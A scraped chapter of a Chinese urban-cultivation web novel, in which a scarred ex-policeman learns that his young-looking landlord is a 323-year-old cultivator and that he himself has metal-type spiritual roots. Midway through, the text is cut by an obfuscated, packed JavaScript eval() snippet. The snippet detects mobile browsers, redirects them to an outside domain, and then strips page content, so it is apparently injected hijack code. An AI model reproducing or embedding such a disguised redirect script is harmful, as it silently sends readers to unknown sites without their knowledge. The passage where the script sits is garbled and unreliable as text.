“我哪儿有那些闲工夫,你看见的,我一天有多忙。连炼丹都得挑着客人们都休息了才行。”安斯年笑答。 “……炼丹?” 晏臻感觉,他大概能摸准剧本的脉络了。 曾经有印象的几本都市修仙类小说名从脑海里一一划过…… 《家有仙妻》《我老婆是仙界大佬》《道侣今天也在还房贷》《老婆飞升后我靠抱大腿躺赢》 23. 樱桃肉 “所以,你会……修仙?” 吐出后面两个字的时候,晏臻实在说不清现在心里到底是什么感觉,大概是五味杂陈吧,震惊、好奇、羡慕、甚至觉得自己有点前途渺茫,但唯独没有害怕,因为离得近了,他看清了那双琥珀色的眼睛。 夜色中,清澈如水,不沾染半丝的尘埃。 自己一介凡人,大概怎么挣扎都没用,倒不如顺其自然好了。 “修仙是普通人的说法,严谨一点的话,应该叫修真,修的是真我而不是所谓的神仙之道。” 安斯年平静的答了,指尖的薰衣草轻敲着另一只手掌,“没想到,你以前居然是个警察。” 这人的气质亦正亦邪的,刚见面那会儿,更是阴郁感十足。和刚才幻象中那个年轻的他比起来,简直判若两人。 不知道中间发生过多少事,能让一个阳光坚毅的男人变成现在这副破败的皮囊。 是真的破败,就刚才给他施加幻象的那会儿功夫,一缕灵气已经将他的肉身探查了一个遍,左腿和肋骨处的钢板钢钉不说,另外残留的伤痕大大小小上百处,其中最明显的就是脸颊到喉咙的那条了,其他的,都被长袖长裤牢牢遮掩着。 说的夸张点,被损伤成这样还能活着,已经能算是个奇迹了。 “刚才的幻象,是你弄的?你也能看见?”晏臻问。 “嗯,那叫‘问心’,很简单的一个幻阵,做为阵主,我当然能看得很清楚,仙门在收学徒之前,都得先过这几关。” 其实主要是第一关,让被施法的人重回记忆中最犹豫的时间点,看他做的选择来考验意志力的强弱程度,其他的基本不会管,九嶷大陆一切以实力为尊,没什么道德底线的说法。 但安斯年不同,他还是很注重人品的,所以又设了第二关。 这位晏先生居然是个退役的警察,就已经让他自带了三份好感,再加上幻境中毫不犹豫救小孩的表现,那怎么也不会是个大奸大恶的。 所以能答的他都诚实的答了,至于其他,暂时还没考虑清楚。 “那我刚才那一趟……你也打算收我为徒?我都已经三十二岁了……”媳妇儿还没有呢,怎么又要多个师父?晏臻话说了半截,有点别扭。 安斯年稍微有点意外,他还以为对方会立刻纳头便拜呢。 照道理来讲,修真什么的,虽然第一次见,但现在网络小说里描述过太多了,总之各种的神奇,可以说是个大大的机缘,但凡遇上了,基本不可能有人会放过机会。 更何况达者为师,年龄什么的说出来可真是够矫情的,晏警官不太像是这么优柔寡断的人啊…… 难道自己的面相实在太嫩了? 其实安斯年说那话也不是想要收徒,他自己就是个境界不明的菜鸟,哪来的资格?教坏了怎么办?不是害人害己嘛。 只不过话赶话正好提到了而已。 这会他把对方的别扭看在眼里,却又有点不爽了,“怎么?三十二很大么?” 他斜斜的撇了对方一眼,“我都三百二十三了,光论年纪,够不够做你师父?” 晏臻手一抖,又迅速握紧了。 借着泳池的装饰灯光,他呆呆的盯着面前这张脸,脸颊上幼嫩的绒毛还清晰可见,你跟我说三百二十三? 可对方一脸淡然的样子又不像是说假的,那现在怎么办?不拜师会不会被赶走? 要三叩九拜再叫一声师父在上么? 其实谁上谁下没所谓,修真界的师徒……也许、大概、或者、应该和学校里的师生不是一码事儿吧…… 打过钢钉的膝盖仿佛有千斤那么重,他咬咬牙,缓缓的先单膝落了地。 一股柔和的力道从虚空传来,托住了另一条准备落地的腿。 “别,我可不收徒弟啊。而且你的灵根也不是木系的,我没法教。”安斯年皱着眉捋了捋头发。 晏臻眼睁睁的看着,安老板头顶一缕小卷毛,被他自己薅得翘了起来,什么神仙滤镜也都立刻掉光光了,瞬间又变回了那个嘴馋又好骗的小家伙。 也行吧,不拜师也好。 刚想站起来,左腿微微一用力又立刻松懈了,膝盖无力的落回了地面,他不动声色的保持着姿势,仰着头问:“灵根?那我是哪个系的?” “金系,你把勺子都揉成那样了,还猜不到么?”安斯年答完,小声嘟囔,“居然还是个天灵根,这是正好来克我么……” 楼梯方向似乎有点小动静,他转眼看了过去。 跟前跪着的人却没察觉,还在继续问:“金系,是指可以控制一切金属的意思么?冷兵器?或者热武器也可以干扰?我怎么才能……” “啊?!”一声惊叫。 被打断的晏臻有些不悦,一个侧脸,黑到深不见底的眸光扫了过去。 方雨童眼睛瞪得跟铜铃似的,两手把嘴捂着,偏偏声音高得吓人:“你们……你们在求婚?” 安斯年“……” 哪里就像求婚了? 一低头,晏臻还在面前单膝跪着…… 别说,你还真别说,这大半夜的花园里,朦胧的灯光温柔的风,还有这姿势,难怪别人想歪。 安斯年感觉自己那三百多岁的老脸猛然一烫,加快语速说:“什么求婚啊,他只是想拜师,我没同意!”完事儿对着地面的人低吼:“起来啊,还跪着干嘛?” 吼完了他又恍然大悟,这人大概不是不想起,是腿疼的起不来吧。 没顾忌什么,他上前一个搀扶,晏臻轻轻握住他的胳膊顺势站了起来,带了点无奈的笑,面对面看着他。 贴得近了,安斯年这才注意到,这男人右脸上,不光有疤痕,笑起来的时候居然还有个浅浅的酒窝。 也许是太好奇了吧,他这一看,完全就把方雨童忘在一边,浑然不知小姑娘的眼睛里,现在爆发出了多么高的亮度。 方雨童真想鹅叫了,除了偶尔追追星,她生平最大的爱好就三个:看男人搞男人。 眼前这俩,这身高差!这体型差!高个子的虽然瘦了点,但明显骨架子在,两个人搀扶着站在一起默默相望的模样,实在好磕到爆炸啊! 简直是完美无缺! 好想拍下来给姐妹们分享啊啊啊啊! 可惜她不敢,也只能想想。 “咳,这么晚了,还没睡么?”终于回过神松开手的安老板对自己的粉丝问道。 “饿的睡不着啊,年宝,晚上我吃的不少,现在居然又饿了,简直不敢相信……” 话说到一半,楼梯口传来张丽叫唤女儿的声音“童童?你在哪儿?” “三楼!马上下来。”方雨童答完,转头露出个不好意思的笑容,“住在外面,我妈一会儿见不到我就得疯,上个洗手间她还要给我定个五分钟闹钟呢,我得下去了。” 安斯年随手摸出两块小桃酥递了过去,“饿了就稍微吃点,明天给你做樱桃肉。” “嗯嗯”方雨童开心的接过零食,一边走回楼梯,一边还恋恋不舍的回头盯着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15738190|174018||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两人看了好几眼。 闲杂人走了,晏臻有一肚子的话想问,还没开口就被安斯年挡了回去:“你也不要太过激动,日子还长着呢,慢慢来吧,我也得想一想,有没有什么适合你入门的法诀,时间不早了就先回去吧,明晚再说。” 长长的一句说完,没等他有什么反应,眼前白袍飘飘的安老板就不见了踪影。 晏臻简直无语了,就像是刚刚起了兴致却被人半道抛下,这一口气堵在胸口,上不去又下不来的。 在安老板的门口站了不知道多久,忍了又忍,终于按捺住想要敲门的手,下楼回了自己房间。 这一晚,对晏臻来讲,注定是无眠的。 安斯年睡得也不太好。 入门的功法他都记得,一早也想过了关于分享传授的问题,有过心理准备。 但他没想到这突然冒出来的居然是个金系,而且还是个天灵根。 金克木,这天然就是他木系的克星,从神通上来讲,金系比木系的杀伤力不知道高了多少,要是两个同等境界的修士,木系的遇上了金系,那就直接躺地等着挨揍吧。 而且,两人又不算太熟,贸贸然交付了法诀,以后万一反目成仇了怎么办?那不是自找的罪受? 一贯气场平稳的人,难得为一件事纠结了大半夜,到了凌晨二点来钟还是睡不着,爬起来嗨了一堆的零食,又从上到下从前到后,把所有的植物浇了一遍,这才勉强继续睡了下去。 第二天,不对劲儿的感觉是从他还没踏进厨房的时候就开始有的。 因为晏臻起的比他还早,从没见吃过早饭的一个人,居然自己熬了一锅白米粥,坐在餐桌旁一勺一勺慢慢喝着,姿态还挺优雅。 可要说他挺能沉住气吧,脸色卡白、眼下的黑眼圈重得像什么似的,自己刚一走过,立刻就感应到背后被偷瞄的感觉。 不对劲儿,确实不对劲儿。 安斯年四处看过一圈,循着一些残留的灵气波动,终于找到了心爱的厨房套刀上。 他的双立人、他的十八子作,甚至还有他的小泉剪刀…… 每一柄,都残留着金系灵气波动。 拿出来仔细一检查,虽然看上去仍然锋利,可是一切东西就知道,根本没有之前那么的顺畅自如了,尤其是最长的那把西瓜刀,大概是被揉之后没办法复原那么长的弧度,靠近刀尖的那一条居然有个大坑,像是被狗啃过一样。 身后传来一身轻微的“咕咚”声,像是勺子掉进了米粥里。 安斯年怒了! 捏着西瓜刀一转身,“晏臻!!!” “我错了。”晏臻起身,打开手机页面直接伸到安斯年眼前。 是凌晨下单了几套顶尖品牌组刀的订单记录。 “一赔五。我用了加急,顺丰快递明天就到。”男人垂着眼皮说。 安斯年没答话,只是冷冷的把人盯着。 没几秒钟,对方就微微撇开了脸,低下了头。 呦,还知道愧疚呢,那就勉强……算他过关。 其实用神识仔细看看,这人就不光是脸色与黑眼圈的问题了,整个神魂都是萎靡不振的状态。 肯定是刚刚掌握金属变形的能力,兴奋得实验了一整夜,把自己都耗干了吧。 如果再这样乱来的话,金系的锋利,那可不止是对金属起作用而已,一个弄得不好,还会直接伤到自己的神识,以后就再难寸进了。 “今天不准再碰任何金属了,一切等晚上再说。”